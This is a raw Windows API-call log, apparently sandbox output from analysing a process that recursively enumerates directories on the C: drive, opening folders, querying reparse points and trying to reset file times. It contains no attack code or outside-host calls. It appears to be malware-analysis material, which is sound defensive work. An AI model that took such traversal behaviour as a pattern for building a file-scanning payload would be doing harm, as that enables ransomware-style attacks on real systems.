lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.647] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4f08 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebc90 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.647] GetLastError () returned 0x12 [0039.647] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.647] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.647] GetLastError () returned 0x12 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.647] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.647] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0039.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.647] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.648] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.648] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.648] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.648] NtClose (Handle=0x124) returned 0x0 [0039.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.648] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4f28 [0039.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebd18 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.649] GetLastError () returned 0x12 [0039.649] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.649] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.649] GetLastError () returned 0x12 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.649] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0039.649] GetLastError () returned 0x12 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0039.649] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0039.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0039.649] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0039.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.650] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.650] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0039.650] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0039.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.650] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0039.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.650] NtClose (Handle=0x158) returned 0x0 [0039.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0039.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0039.650] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9000 [0039.650] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.651] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0039.651] GetLastError () returned 0x12 [0039.651] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 [0039.651] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0039.651] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.651] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0039.651] GetLastError () returned 0x12 [0039.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0039.651] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0039.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.651] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0039.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.651] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.651] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0039.651] GetLastError () returned 0x5 [0039.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0039.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0039.652] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0xffffffff [0039.652] GetLastError () returned 0x5 [0039.652] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0xffffffff [0039.652] GetLastError () returned 0x5 [0039.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0039.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0039.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.652] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0039.652] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0039.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.652] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.652] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.653] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0039.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.653] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0039.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.653] NtClose (Handle=0x15c) returned 0x0 [0039.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0039.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0039.653] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 